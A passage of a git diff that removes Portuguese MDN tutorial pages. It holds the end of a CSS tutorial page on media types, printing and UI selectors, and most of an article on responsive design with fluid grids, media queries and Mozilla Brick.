-<h2 id="Informa.C3.A7.C3.A3o:_M.C3.ADdia" name="Informa.C3.A7.C3.A3o:_M.C3.ADdia">Informação: Média</h2>
-
-<p>A proposta das CSS é especificar como os documentos são apresentados ao usuário. A apresentação pode tomar mais de uma forma.</p>
-
-<p>Por exemplo, você provavelmente está lendo esta página em um dispositivo de exibição. Mas você pode também querer projetá-lo em uma tela para uma grande audiência, ou imprimi-la. Estas diferentes mídias podem ter diferentes características. CSS proporciona maneiras para apresenter um documento diferentemente em diferentes mídias.</p>
-
-<p>Para especificar regras específicas para um tipo de mídia, use <code>@media</code> seguido do tipo de mídia e de chaves para incluir as regras</p>
-
-<table style="background-color: #fffff4; border: 1px solid #3366bb; padding: 1em; width: 100%;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Um documento em um site na web tem uma área de navegação para permitir ao usuário mover em torno do site.
- <p>Na linguagem de marcação, o elemento principal da área de navegação tem o id <code>nav-area</code>.</p>
-
- <p>Quando o documento é impresso a área de navegação não tem propósito, então a folha de estilo remove-a completamente:</p>
-
- <div style="width: 30em;">
- <pre class="eval">
-@media print {
- #nav-area {display: none;}
- }
-</pre>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Alguns tipos de mídia comuns são:</p>
-
-<table style="margin-left: 2em;">
- <tbody>
- <tr>
- <td><code>screen</code></td>
- <td>Exposição na tela do computador</td>
- </tr>
- <tr>
- <td><code>print</code></td>
- <td>Mídias paginadas</td>
- </tr>
- <tr>
- <td style="padding-right: 1em;"><code>projection</code></td>
- <td>Exposição projetada</td>
- </tr>
- <tr>
- <td><code>all</code></td>
- <td>Todas as mídias (o padrão)</td>
- </tr>
- </tbody>
-</table>
-
-<table style="background-color: #f4f4f4; border: 1px solid #3366bb; padding: 1em; width: 100%;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Existem outras maneiras para especificar o tipo de mídia com uma série de regras.
- <p>A linguagem de marcação do documento permite o tipo de mídia tornar-se específico quando a folha de estilo é ligada ao documento. Por exemplo, em HTML você pode opcionalmente especificar o tipo de mídia com o atributo <code>media</code> na tag <code>LINK</code>.</p>
-
- <p>Em CSS você pode usar <code>@import</code> no começo da folha de estilo para importar outras folhas de estilo de uma URL, opcionalmente especificando o tipo de mídia.</p>
-
- <p>Usando estas técnicas você pode separar regras de estilo para diferentes tipos de mídia em diferentes aquivos. Esta é algumas vezes uma maneira útil para estruturar sua folha de estilos.</p>
-
- <p>Para detalhes completos sobre tipos de mídia, veja <a class="external" href="http://www.w3.org/TR/CSS21/media.html">Media</a> em CSS Specification.</p>
-
- <p>Existem mais exemplos da propriedade <code>display</code> em uma página posterior neste tutorial: <a href="/pt/CSS/Como_começar/Dados_XML" title="pt/CSS/Como_começar/Dados_XML">Dados XML</a>.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Imprimindo" name="Imprimindo">Impressão</h3>
-
-<p>CSS possui suporte específico para impressão e para mídias paginadas em geral.</p>
-
-<p>Uma regra <code>@page</code> pode configurar as margens da página. Para imprimir frente e verso, você pode especificar as margens separadamente para <code>@page:left</code> e <code>@page:right</code>.</p>
-
-<p>Para mídias impressas, você normalmente usa unidades de comprimento apropriadas em polegadas (<code>in</code>) e pontos (<code>pt</code> = 1/72 polegadas), ou centímetros (<code>cm</code>) e milímetros (<code>mm</code>). É igualmente apropriado o uso de ems (<code>em</code>) para combinar tamanhos de fontes, e porcentagens (<code>%</code>).</p>
-
-<p>Você pode controlar como o conteúdo do documento quebra através de limites de página, usando as propriedades <code>page-break-before</code>, <code>page-break-after</code> e <code>page-break-inside</code>.</p>
-
-<table style="background-color: #fffff4; border: 1px solid #3366bb; padding: 1em; width: 100%;">
- <caption>Exemplos</caption>
- <tbody>
- <tr>
- <td>Esta regra configura as margens da página para uma polegada em todos os quatro lados:
- <div style="width: 30em;">
- <pre class="eval">
-@page {margin: 1in;}
-</pre>
- </div>
-
- <p>Esta regra assegura que todos os elementos <small>H1</small> comecem em uma nova página:</p>
-
- <div style="width: 30em;">
- <pre class="eval">
-h1 {page-break-before: always;}
-</pre>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="background-color: #f4f4f4; border: 1px solid #3366bb; padding: 1em; width: 100%;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Para detalhes completos sobre o suporte das CSS para páginas de mídia, veja <a class="external" href="http://www.w3.org/TR/CSS21/page.html">Paged media</a> em CSS Specification.
- <p>Como outras características das CSS, imprimir depende do seu navegador e de suas configurações. Por exemplo, seu navegador Mozilla proporciona por padrão margens, cabeçalhos e rodapés quando é impresso. Quando outros usuários imprimem seu documento, você provavelmente não poderá predizer o navegador e as configurações que eles usarão, então você provavelmente não poderá controlar os resultados completamente.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Interfaces_de_usu.C3.A1rio" name="Interfaces_de_usu.C3.A1rio">Interfaces do utilizador</h3>
-
-<p>CSS tem algumas propriedades especiais para dispositivos que suportem a interface de usuário, como a tela do computador. Isto faz a aparência do documento mudar dinamicamente como o usuário trabalha com a interface.</p>
-
-<p>Não existe um tipo de mídia especial para dispositivos com interfaces de usuários.</p>
-
-<p>Existem cinco seletores especiais:</p>
-
-<table style="margin-left: 2em;">
- <tbody>
- <tr>
- <td style="width: 10em;"><strong>Seletor</strong></td>
- <td><strong>Seleciona</strong></td>
- </tr>
- <tr>
- <td><code>E:hover</code></td>
- <td>Qualquer elemento E que tenha um ponteiro sobre ele</td>
- </tr>
- <tr>
- <td><code>E:focus</code></td>
- <td>Qualquer elemento E que tenha um foco no teclado</td>
- </tr>
- <tr>
- <td><code>E:active</code></td>
- <td>O elemento E que é envolvido na corrente ação do usuário</td>
- </tr>
- <tr>
- <td><code>E:link</code></td>
- <td>Qualquer elemento E que seja um hiperlink para uma URL que o usuário <em>não visitou</em> recentemente</td>
- </tr>
- <tr>
- <td><code>E:visited</code></td>
- <td>Qualquer elemento E que seja um hiperlink para uma URL que o usuário <em>visitou</em> recentemente</td>
- </tr>
- </tbody>
-</table>
-
-<p>A propriedade <code>cursor</code> especifica a forma do ponteiro: Algumas das formas comuns são como segue. Coloque seu mouse sobre os itens nesta lista para ver as formas comuns dos ponteiros no seu navegador:</p>
-
-<table style="margin-left: 2em;">
- <tbody>
- <tr>
- <td style="width: 10em;"><strong>Seletor</strong></td>
- <td><strong>Seleciona</strong></td>
- </tr>
- <tr style="cursor: pointer;">
- <td><code>pointer</code></td>
- <td>Indica um link</td>
- </tr>
- <tr style="cursor: wait;">
- <td><code>wait</code></td>
- <td>Indica que o programa não pode aceitar a entrada</td>
- </tr>
- <tr style="cursor: progress;">
- <td><code>progress</code></td>
- <td>Indica que o programa está trabalhando, mas ainda pode aceitar a entrada</td>
- </tr>
- <tr style="cursor: default;">
- <td><code>default</code></td>
- <td>O padrão (usualmente uma flecha)</td>
- </tr>
- </tbody>
-</table>
-
-<p><br>
- Uma propriedade <code>outline</code> cria um contorno que é normalmente usado para indicar foco do teclado. Estes valores são similares aos da propriedade <code>border</code>, exceto que você não pode especificar lados individuais.</p>
-
-<p>Algumas outras características das interfaces de usuário são implementadas usando atributos, de uma maneira normal. Por exemplo, um elemento que está desabilitado ou somente leitura tem o atributo <code>disabled</code> ou o atributo <code>readonly</code>. Seletores podem especificar estes atributos como qualquer outros atributos, usando colchetes: <code>{{ mediawiki.external('disabled') }}</code> ou <code>{{ mediawiki.external('readonly') }}</code>.</p>
-
-<table style="background-color: #fffff4; border: 1px solid #3366bb; padding: 1em; width: 100%;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Estas regras especificam estilos para um botão que muda dinamicamente como a interação do usuário com isso:
- <div style="width: 30em;">
- <pre>
-.green-button {
- background-color:#cec;
- color:#black;
- border:2px outset #cec;
- }
-
-.green-button[disabled] {
- background-color:#cdc;
- color:#777;
- }
-
-.green-button:active {
- border-style: inset;
- }
-</pre>
- </div>
-
- <p>Este wiki não suporta uma interface de usuário na página, então estes botões não são "clicáveis". Aqui estão algumas imagens estáticas para ilustrar a idéia:</p>
-
- <table style="background-color: #ffffff; border: 2px outset #3366bb; padding: 1em;">
- <tbody>
- <tr>
- <td>
- <table>
- <tbody>
- <tr>
- <td><span style="background-color: #ccddcc; border: 2px outset #cceecc; color: #777777; cursor: default; height: 2em; margin-right: 1em; padding: .5em 1em; width: 8em;">Clique Aqui</span></td>
- <td><span style="background-color: #cceecc; border: 2px outset #cceecc; cursor: move; height: 2em; margin-right: 1em; padding: .5em 1em; width: 8em;">Clique Aqui</span></td>
- <td><span style="background-color: #cceecc; border: 2px inset #cceecc; cursor: move; height: 2em; margin-right: 1em; padding: .5em 1em; width: 8em;">Clique Aqui</span></td>
- </tr>
- <tr style="line-height: 25%;">
- <td> </td>
- </tr>
- <tr style="font-style: italic;">
- <td>desativado</td>
- <td>normal</td>
- <td>ativo</td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
- </table>
-
- <p>Um botão plenamente funcional também tem um contorno escuro em toda a sua volta quando isto é o padrão, e um contorno pontilhado na face do botão quando ele é focado pelo teclado. Isto pode também ter um efeito quando o ponteiro está sobre ele.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="background-color: #f4f4f4; border: 1px solid #3366bb; margin-bottom: 1em; padding: 1em; width: 100%;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Para mais informações sobre interfaces de usuário em CSS, veja <a class="external" href="http://www.w3.org/TR/CSS21/ui.html">User interface</a> em CSS Specification.
- <p>Existe um exemplo da linguagem de marcação Mozilla para interfaces de usuário, XUL, na segunda parte deste tutorial.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Imprimindo_um_documento" name="A.C3.A7.C3.A3o:_Imprimindo_um_documento">Ação: Imprimir um documento</h2>
-
-<p>Crie um novo documento HTML, <code>doc4.html</code>. Copie e cole o conteúdo daqui, tendo certeza de ter rolado a tela para pegar tudo isto:</p>
-
-<div style="width: 48em; height: 12em; overflow: auto;">
-<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
-&lt;HTML&gt;
-
-&lt;HEAD&gt;
-&lt;TITLE&gt;Impressão de amostra&lt;/TITLE&gt;
-&lt;LINK rel="stylesheet" type="text/css" href="style4.css"&gt;&lt;/strong&gt;
-&lt;/HEAD&gt;
-
-&lt;BODY&gt;
-&lt;H1&gt;Seção A&lt;/H1&gt;
-&lt;P&gt;Esta é a primeira seção...&lt;/P&gt;
-
-&lt;H1&gt;Seção B&lt;/H1&gt;
-&lt;P&gt;Esta é a segunda seção...&lt;/P&gt;
-
-&lt;DIV id="print-head"&gt;
-Dirigir para mídias paginadas
-&lt;/DIV&gt;
-
-&lt;DIV id="print-foot"&gt;
-Página:
-&lt;/DIV&gt;
-
-&lt;/BODY&gt;
-&lt;/HTML&gt;
-</pre>
-</div>
-
-<p>Crie uma nova folha de estilo, <code>style4.css</code>. Copie e cole o conteúdo daqui, tendo certeza de ter rolado a tela para pegar tudo isto:</p>
-
-<div style="width: 48em; height: 12em; overflow: auto;">
-<pre>/*** Impressão de amostra ***/
-
-/* Padrão para a tela */
-#print-head,
-#print-foot {
- display: none;
- }
-
-/* Somente impressão */
-@media print {
-
-h1 {
- page-break-before: always;
- padding-top: 2em;
- }
-
-h1:first-child {
- page-break-before: avoid;
- counter-reset: page;
- }
-
-#print-head {
- display: block;
- position: fixed;
- top: 0pt;
- left:0pt;
- right: 0pt;
-
- font-size: 200%;
- text-align: center;
- }
-
-#print-foot {
- display: block;
- position: fixed;
- bottom: 0pt;
- right: 0pt;
-
- font-size: 200%;
- }
-
-#print-foot:after {
- content: counter(page);
- counter-increment: page;
- }
-
-} /* Fim de somente impressão */
-</pre>
-</div>
-
-<p>Quando você exibe este documento em seu navegador, ele usa o estilo padrão do navegador.</p>
-
-<p>Quando você imprime (ou prevê a impressão) do documento, a folha de estilo coloca cada seção em uma página separada, e adiciona um cabeçalho e um rodapé para cada página. Se o seu navegador suportar contadores, isto adiciona um número na página no seu rodapé.</p>
-
-<table>
- <tbody>
- <tr>
- <td>
- <table style="border: 2px outset #3366bb; padding: 1em;">
- <tbody>
- <tr>
- <td>
- <table style="margin-right: 2em; width: 15em;">
- <tbody>
- <tr>
- <td>
- <div style="font-size: 150%; text-align: center; margin-bottom: .5em;">Cabeçalho</div>
-
- <div style="font-size: 150%; font-weight: bold;">Secção A</div>
-
- <div style="font-size: 75%;">Esta é a primeira secção...</div>
-
- <div style="font-size: 150%; text-align: right; margin-top: 12em;">Página: 1</div>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- <td>
- <table style="border: 2px outset #3366bb; padding: 1em;">
- <tbody>
- <tr>
- <td>
- <table style="margin-right: 2em; width: 15em;">
- <tbody>
- <tr>
- <td>
- <div style="font-size: 150%; text-align: center; margin-bottom: .5em;">Cabeçalho</div>
-
- <div style="font-size: 150%; font-weight: bold;">Secção B</div>
-
- <div style="font-size: 75%;">Esta é a segunda secção...</div>
-
- <div style="font-size: 150%; text-align: right; margin-top: 12em;">Página: 2</div>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="background-color: #fffff4; border: 1px solid #3366bb; padding: 1em; width: 100%;">
- <caption>Desafios</caption>
- <tbody>
- <tr>
- <td>Mova o estilo específico de impressão para um arquivo CSS separado.
- <p>Use as ligações nesta página para ler a CSS Specification. Ache detalhes de como importar o novo arquivo CSS específico para impressão em sua folha de estilo.</p>
-
- <p>Faça os cabeçalhos serem azuis quando o ponteiro do mouse estiver sobre eles.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Se teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/M%C3%ADdia" title="Talk:pt/CSS/Como_começar/Mídia">Discussão</a>.</p>
-
-<p>Até agora, todas as regras de estilo neste tutorial foram especificadas em arquivos. As regras e seus volumes são fixos. A próxima página descreve como você muda as regras dinamicamente usando uma linguagem de programação: <strong><a href="/pt/CSS/Como_come%C3%A7ar/JavaScript" title="pt/CSS/Como_começar/JavaScript">JavaScript</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Tabelas", "CSS:Como começar:JavaScript") }}</p>
diff --git a/files/pt-pt/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html b/files/pt-pt/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html
deleted file mode 100644
index aa1db53e54..0000000000
--- a/files/pt-pt/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html
+++ /dev/null
@@ -1,429 +0,0 @@
----
-title: Elementos base do desenho adaptável
-slug: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks
-tags:
- - Aplicações
- - CSS
- - Design Adaptável
- - HTML5
- - Movel
-translation_of: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks
-original_slug: Web/Progressive_web_apps/Responsivo/Elementos_base_desenho_adaptavel
----
-<div class="summary">
-<p>Este artigo discute os componentes essenciais de desenho responsivo, com ligações para outros artigos que ajudam a aprofundar, se for necessário.</p>
-</div>
-
-<p>Para os desenvolvedores da Web, hoje em dia é bastante comum serem chamados a criar um site ou aplicação Web que muda a sua interface de acordo com o navegar (<em>browser</em>) ou dispositivo que lhe estiver a aceder, e assim proporcionar uma experiência ótima. Uma possível abordagem a este desafio é criar versões diferentes da aplicação ou site para diferentes plataformas ou navegadores e servi-los de forma apropriada depois de detetar qual o navegador ou plataforma que está a olhar para o site. Mas esta solução seria cada vez mais ineficiente: os métodos para determinar o navegador são intrinsecamente propícios a erros, e manter várias cópias do código pode tornar-se um pesadelo.</p>
-
-<p>Em geral é muito melhor criar uma única versão do código que não toma decisões  com base no navegador ou plataforma, mas que faz testes a fim de saber quais as funcionalidades suportadas pelo navegador, ou quais os parâmetros do mesmo. Depois, este código é ajustado em função das funcionalidades disponíveis. Costuma-se chamar a isto <strong>desenho responsivo </strong>ou <strong>desenho adaptativo </strong>(estes dois termos referem-se a abordagens diferentes ao mesmo problema; para uma discussão sobre as diferentes entre ambos, leia <a href="/en-US/docs/Web/Apps/app_layout/Responsive_design_versus_adaptive_design" title="/en-US/docs/Web/Apps/app_layout/Responsive_design_versus_adaptive_design">Responsive design versus adaptive design</a>).</p>
-
-<p>Esta solução é muito mais fiável, a sua manutenção é mais fácil, e pensa mais no futuro. Já não traz o problema que é desenvolver mais versões do site à medida que surgem novos navegadores e plataformas, pois o código é ajustado à medida que os navegadores e as funcionalidades existentes mudam.</p>
-
-<p>Ainda assim tem desvantagens. Se o conteúdo, disposição (<em>layout</em>) e funcionalidade precisam de ser extremamente diferentes para cada dispositivo, pode não ser uma boa abordagem. Além disso, pegar num site que já existe e adicionar-lhe características de desenho responsivo / adaptável, para ser mais amigo dos dispositivos móveis, pode implicar um esforço maior do que simplesmente criar uma site ou aplicação separado, especialmente se for um site empresarial em expansão. Leia mais sobre <a href="/en-US/docs/Web_Development/Mobile/Responsive_design" title="/en-US/docs/Web_Development/Mobile/Responsive_design">vantagens e desvantagens de desenho adaptável</a>.</p>
-
-<div class="note">
-<p>Pode ler a nossa discussão sobre <a href="/en-US/docs/Web_Development/Mobile/Responsive_design">desenho adaptável</a>, se precisar de peceber melhor o contexto e as bases.</p>
-</div>
-
-<h2 id="Grelhas_fluídas">Grelhas fluídas</h2>
-
-<p>O melhor sítio para começar é com medições fluídas do layout da aplicação — essencialmente, isto significa utilizar uma combinação de percentagens e <strong>em</strong>/<strong>rem</strong> para dar tamanho ao texto e contentores, em vez de unidades fixas como pixel. Desta forma, o layout adapta-se a diferentes dimensões do viewport, o que traz muitas vantagens. Vejamos um exemplo.</p>
-
-<p>Escrevemos um protótipo simples-mas-divertido de uma aplicação chamada Snapshot, a qual grava um <em>stream</em> de vídeo da sua webcam (usando {{domxref("navigator.getUserMedia", "getUserMedia()")}}) e depois permite capturar imagens estáticas desse <em>stream</em> (com a {{HTMLElement("canvas")}} do HTML5), e guarda-os numa galeria. Depois pode ver as imagens capturadas e apagá-las. Outros artigos discutem esta funcionalidade mais detalhadamente, mas agora só nos interessa o layout.</p>
-
-<div class="note">
-<p><strong>Note:</strong> Pode encontar a <a href="https://github.com/chrisdavidmills/snapshot" title="https://github.com/chrisdavidmills/snapshot">aplicação Snapshot no Github</a>; veja o código e ajude a melhorar. Também pode ver o <a href="https://chrisdavidmills.github.io/snapshot/" title="http://people.mozilla.com/~cmills/snapshot/">Snapshot ao vivo</a>. Note que <code>getUserMedia()</code> é uma tecnologia experimental, que de momento apenas funciona no Google Chrome e Firefox desktop. No futuro planeia-se mais funcionalidade e melhor organização do Snapshot.</p>
-</div>
-
-<p>O layout na versão desktop do Snapshot consiste em três colunas, que mostram o <em>stream</em>, imagem de captura e a galeria, respetivamente.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5917/desktop-layout.png" style="display: block; height: 184px; margin: 0px auto; width: 600px;"></p>
-
-<p>A marcação é muito simples:</p>
-
-<pre class="brush: html">&lt;x-deck selected-index="0"&gt;
- &lt;x-card&gt;
- …
- &lt;/x-card&gt;
- &lt;x-card&gt;
- …
- &lt;/x-card&gt;
- &lt;x-card&gt;
- …
- &lt;/x-card&gt;
-&lt;/x-deck&gt;</pre>
-
-<div class="note">
-<p><strong>Note:</strong> Estes elementos "x-" esquisitos não devem ser familiares; fazem parte do <a href="http://mozbrick.github.io/" title="http://mozilla.github.io/brick/">Brick</a>, a biblioteca da Mozilla de elementos UI para aplicações web móveis. Utilizámos o Brick para criar o layout móvel do Snapshot, sobre o qual irá ler mais em baixo.</p>
-</div>
-
-<p>Para que fiquem lado a lado, usamos estas regras:</p>
-
-<pre class="brush: css">x-card {
- width: 100%;
-}
-
-x-card:nth-child(1), x-card:nth-child(2) {
- width: 30%;
- float: left;
- padding: 2rem;
-}
-
-x-card:nth-child(3) {
- width: 40%;
- float: left;
- height: 100%;
- overflow: auto;
- padding: 2rem;
-}</pre>
-
-<p>Demos largura ({{cssxref("width")}}) <code>30%</code> às primeiras duas colunas, e à terceira, <code>40%</code> de largura, e deixamos as colunas flutuarem (<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: #eeeeee; font-size: 17px; white-space: nowrap;">float</span></font>) à esquerda. Assim ficam lado a lado, e mantêm as mesmas proporções à medida que varia o tamanho da janela do navegador. Este é um exemplo muito simples de uma grelha, mas pode aplicar este princípio a grelhas mais complexas, conforme necessário.</p>
-
-<h3 id="Dimensões_dos_contornos_da_caixa">Dimensões dos contornos da caixa</h3>
-
-<p>O espaçamento não afeta a largura e altura totais dos contentores porque mudámos a propriedade {{cssxref("box-sizing")}} para <code>border-box</code> em todos os elementos:</p>
-
-<pre class="brush: css">*, *:before, *:after {
- -webkit-box-sizing: border-box;
- -moz-box-sizing: border-box;
- box-sizing: border-box;
-}</pre>
-
-<p>Basicamente, isto significa que, agora, {{cssxref("width")}} e {{cssxref("height")}} definem as dimensões de um elemento incluindo os conternos, e não só o conteúdo. Por isso, ao fixar <code>width: 40%</code>, a largura da caixa será <code>40%</code>  do pai, e larguras de {{cssxref("padding")}} ou {{cssxref("border")}} serão subtraídas da largura do conteudo, em vez de adicionadas. Isto é muito útil! Leia mais no artigo <a href="http://www.paulirish.com/2012/box-sizing-border-box-ftw/" title="http://www.paulirish.com/2012/box-sizing-border-box-ftw/">* { Box-sizing: Border-box } FTW</a>, escrito pelo Paul Irish.</p>
-
-<h2 id="Flexible_replaced_elements">Flexible replaced elements</h2>
-
-<p>Até agora tudo bem, mas há algumas questões à espera de se chegarem à frente. Primeiro, vamos ver o que acontece quando incluímos os elementos {{HTMLElement("video")}} e {{HTMLElement("img")}} nas duas primeiras colunas, nus e sem estilo.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5913/broken-images.png" style="display: block; height: 316px; margin: 0px auto; width: 480px;"></p>
-
-<p>Como o tamanho dos elementos substituídos é ditado pelo tamanho dos média inseridos neles, e este média tem tamanho fixo, explodem para fora dos elementos que os contem e fazem uma confusão no layout. É horrível, mas em geral este problema é resolvido com CSS simples:</p>
-
-<pre class="brush: css">img, video {
- max-width: 100%;
-}</pre>
-
-<p>Isto diz aos elementos substituídos para permanecerem dentro da largura do elementos que os contem, em qualquer circunstância. Contudo, se não forem tão largos como os elementos pai, não aumenta para os preencher. No exemplo da fotografia, o código final é um pouco diferente:</p>
-
-<pre class="brush: css">x-card:nth-child(1) video, x-card:nth-child(2) img {
- width: 100%;
- …
-}</pre>
-
-<p>Isto porque, no nosso caso, queremos de facto que vídeo e imagem preencham o elemento pai em qualquer circunstância — uma diferença subtil mas importante em relação a {{cssxref("max-width")}} — logo, terão sempre o mesmo tamanho. O vídeo muda de tamanho dinamicamente, mas as capturas de ecrã não, portanto, ao ampliar o ecrã podia obter-se um layout desorganizado, com elementos de dimensões diferentes, quando se utiliza <code>max-width: 100%</code>, por exemplo:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5915/broken-max-width-layout.png" style="display: block; height: 220px; margin: 0px auto; width: 480px;"></p>
-
-<h2 id="Consultas_de_média">Consultas de média</h2>
-
-<p>Grelhas fluídas são um ótimo começo, mas notará que em certos pontos, (conhecidos como <em>breakpoints</em>) o layout começa a desfazer-se. Nestes pontos vai querer retificar o problema no layout, e para o efeito pode usar consultas de média.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> As consultas de média são uma funcionalidade CSS3 que permite aplicar CSS seletivamente, em função do resultado de testes a funcionalidades do média — para aprofundar as bases, leia <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Media_queries">Media queries</a>.</p>
-</div>
-
-<h3 id="Disposição_típica_no_desktop">Disposição típica no desktop</h3>
-
-<p>Como já vimos, no nosso exemplo temos um layout para computador de secretária (<em>desktop</em>). O mesmo é definido pelas regras CSS no topo da folha de estilos, antes de quaisquer consultas de média.<br>
- <br>
- <img alt="" src="https://mdn.mozillademos.org/files/5917/desktop-layout.png" style="display: block; height: 184px; margin: 0px auto; width: 600px;"></p>
-
-<h3 id="Layout_de_largura_média">Layout de largura média</h3>
-
-<p>Também temos um layout de largura média, o qual pretendemos que funcione bem em tablets e portáteis com ecrã estreito. É definido pelo CSS na primeira consulta:</p>
-
-<pre class="brush: css">@media all and (max-width: 1024px) {
- x-card:nth-child(1), x-card:nth-child(2) {
- width: 50%;
- }
-
- x-card:nth-child(3) {
- width: 100%;
- clear: left;
- }
-
- x-card:nth-child(3) img {
- width: 20%;
- }
-}</pre>
-
-<p>Aqui estamos a mudar larguras das colunas e a remover <code>float</code> na terceira coluna (e adicionar <code>clear</code> para acautelar comportamentos imprevisíveis de elementos flutuantes). Também alterámos largura das imagens dentro do terceiro contentor, (a galeria, que já não é uma coluna) e agira há 5 em cada linha (dantes eram 3).</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5919/middle-layout.png" style="display: block; height: 390px; margin: 0px auto; width: 480px;"></p>
-
-<h3 id="Layout_em_ecrã_estreito_telemóvel">Layout em ecrã estreito / telemóvel</h3>
-
-<p>Por fim temos layout para ecrãs estreitos, adequado para aplicações móveis ou "open Web apps" (por exemplo, uma aplicação do Firefox OS). Este foi criado em várias partes. Primeiro, como esperado, há uma consulta de média no CSS. Como é bastante comprida, vamos analiśa-la aos poucos:</p>
-
-<pre class="brush: css">@media all and (max-width: 480px) {
- x-card:nth-child(1), x-card:nth-child(2), x-card:nth-child(3) {
- width: 100%;
- float: none;
- padding: 0;
- }
-
- button {
- margin-top: 0;
- border-radius: 0;
- }
-
- x-card:nth-child(1) video, x-card:nth-child(2) img {
- border-radius: 0px;
- border: none;
- padding: 0;
- background-color: 0;
- }</pre>
-
-<p>Este primeiro bloco repõe várias coisas dos layouts mais largos que não eram necessárias para a aplicação móvel.</p>
-
-<pre class="brush: css"> x-card:nth-child(1) video, x-card:nth-child(2) img, x-card:nth-child(3) {
-    margin-top: 17.5vw;
-  }
-
-  x-card:nth-child(1) button, x-card:nth-child(2) button {
-    position: absolute;
-    bottom: 0;
-  }
-
-  x-card:nth-child(2) button:nth-of-type(2) {
-    bottom: 5.9rem;
-  }
-
- x-card:nth-child(1) button {
- font-size: 7vw;
- }
-
- x-card:nth-child(2) button {
- font-size: 7vw;
- }</pre>
-
-<p>Estas regras estipulam o tamanho dos botões dentro dos dois primeiros cartões, e dão a todo o conteúdo uma margem superior para o conteúdo não se preder debaixo dos botões de navegação (ler em baixo). Isto é necessário porque Mozilla Brick (ler também em baixo) obriga os seus componentes a ter 100% da largura e altura do ecrã. Nestes, usámos unidades <code>vw</code> (<em>viewport width</em>) — <code>1vw</code> equivale a 1% da largura do viewport. Assim as dimensões aumentam e diminuem em conjunto com a largura do viewport.</p>
-
-<p>Quando se clica numa imagem da galeria, aparece um botão para removê-la e outro para cancelar remoção, e não queremos que os dois botões fiquem um em cima do outro. Na última parte desta secção, damos aos botões posição absoluta na parte de baixo dos cartões em que se encontram, para o layout ser apresentável em diferentes variações no tamanho do viewport. Depois acrescentamos uma regra que desloca o segundo botão de qualquer cartão mais para cima, num comprimento igual ao de um botão.</p>
-
-<pre class="brush: css">x-card:nth-child(3) img {
- width: 50%;
-}</pre>
-
-<p>Esta regra muda a largura das imagens da galeria para aparcerem 2 em cada linha.</p>
-
-<pre class="brush: css">  nav {
- width: 100%;
-    position: absolute;
-    z-index: 1000;
-
-    display: -webkit-flex;
-    display: -moz-flex;
-    display: -ms-flexbox;
-    display: flex;
-  }
-
-  nav button {
-    font-size: 6.8vw;
-
-    -webkit-flex: 1;
-    -moz-flex: 1;
-    -ms-flex: 1;
-    flex: 1;
-
-    border-left: 1px solid rgba(100,100,100,0.4);
-  }
-
-  nav button:first-child {
-    border-left: 0;
-  }
-}</pre>
-
-<p>Por fim, mudamos o valor de <code>display</code> do elemento {{HTMLElement("nav")}} para <code>flex</code>, de forma a que seja apresentado (estava <code>none</code> no CSS por omissão, no incío da folha de estilos, pois não era necessário nos outros formatos). Depois damos posição absoluta e {{cssxref("z-index")}} para que não ocupe espaço no fluxo do documento, e fique sobre as x-cards (foi por isso que há bocado demos margem superior às x-cards).</p>
-
-<p>A seguir, o <code>font-size</code> dos botões é <code>6.8vw</code>. Porquê? Porque a margem superior dos x-cards ficou <code>17vw</code> anteriormente. Todos os botões na aplicação têm <code>line-height</code> igual a 2.5 (veja o CSS por omissão no início da folha). E 6.8 x 2.5 = 17.</p>
-
-<p>Por último, utilizámos <code>flex: 1;</code> para os botões ocuparem sempre a mesma proporção de espaço na mesma linha. Vejamos a imagem em baixo o layout móvel:</p>
-
-<p><img alt="single column layout for mobile app view, with three buttons to navigate between cards, an image viewer, and a Save Picture button at the button." src="https://mdn.mozillademos.org/files/5939/mobile-layout.png" style="float: left; height: 417px; margin-right: 2rem; width: 304px;">Mas ainda há truques na manga para este layout de aplicação móvel! Como referimos anteriormente, utilizámos <a href="http://mozilla.github.io/brick/" title="http://mozilla.github.io/brick/">Mozilla Brick</a>, uma coleção pré-fabricada de componentes para IU de telemóvel. Em particular, usámos o componente <a href="http://mozilla.github.io/brick/docs.html#deck" title="http://mozilla.github.io/brick/docs.html#deck">deck</a> (baralho de cartas) e o seu simpático efeito de transição entre cartas quando se pressionam os botões. Se quiese saber mais, leia <a href="/en-US/docs/Web/Apps/app_layout/Mozilla_Brick_ready_made_UI_components" title="/en-US/docs/Web/Apps/app_layout/Mozilla_Brick_ready_made_UI_components">Mozilla Brick: ready 